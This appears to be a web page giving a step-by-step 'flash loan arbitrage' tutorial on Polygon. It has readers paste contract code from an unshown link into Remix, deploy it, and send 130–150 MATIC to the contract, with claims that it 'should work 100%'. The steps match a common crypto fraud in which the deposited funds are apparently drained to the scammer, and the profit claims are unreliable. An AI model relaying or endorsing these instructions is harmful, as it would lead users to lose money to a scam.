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Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols and steal millions of dollars.
So, what’s the catch?
A flash loan has to be borrowed and repaid within the same blockchain transaction.
Connecting MetaMask to Polygon Mainnet(Matic) – https://medium.com/stakingbits/setting-up-metamask-for-polygon-matic-network-838058f6d844
Flash Loan Explanation – https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
Convert Value (MATIC/USD) – https://coincodex.com/convert/matic-network/usd/
Step By Step Tutorial for Flash Loan:
1. Get the Metamask Extension for your browser
2. Open http://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file maticArbitrage.sol and paste the contract code link below.
5. Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.
6. Connect your MetaMask wallet.
7. Click on the “Solidity Compiler” and set the compiler version to 0.5.0
8. Click on the Solidity Compiler and then click the blue button “Compile maticArbitrage.sol”
9. Wait for the code to compile.
10. Click the arrow down on the “CONTRACT” and select “InitiateFlashLoan – maticArbitrage.sol”
11. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
12. On “_TOKENNAME” myToken
13. On “_TOKENSYMBOL” TOK
14. On “_LOANAMOUNT” 10000
15. Click Transact and confirm the transaction in MetaMask.
16. Wait for the transaction to confirm.
17. Copy the address of the newly deployed contract.
18. Send MATIC to the deployed contract to initiate the swap 130 MATIC (150 MATIC up is better as you will get a bigger amount in each swap)
19. Wait for the transaction to confirm.
20. Now, Click “flashloan” (red box) to execute the Flash Loan.
21. Confirm the transaction in MetaMask and wait for the confirmation.
22. You can now check your wallet
Note: if it doesn’t work with 130 MATIC try to send another 140 MATIC (150 MATIC is better), because fees may be different from day to day. (130 MATIC for each 10000 MATIC you are borrowing)
Avoid using very low amounts as contract may fail below 130 MATIC.
Under some very rare cases, the arbitrage might fail due to depletion of MATIC in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit.
Make sure to transfer your MATIC out to another wallet when you’re done.
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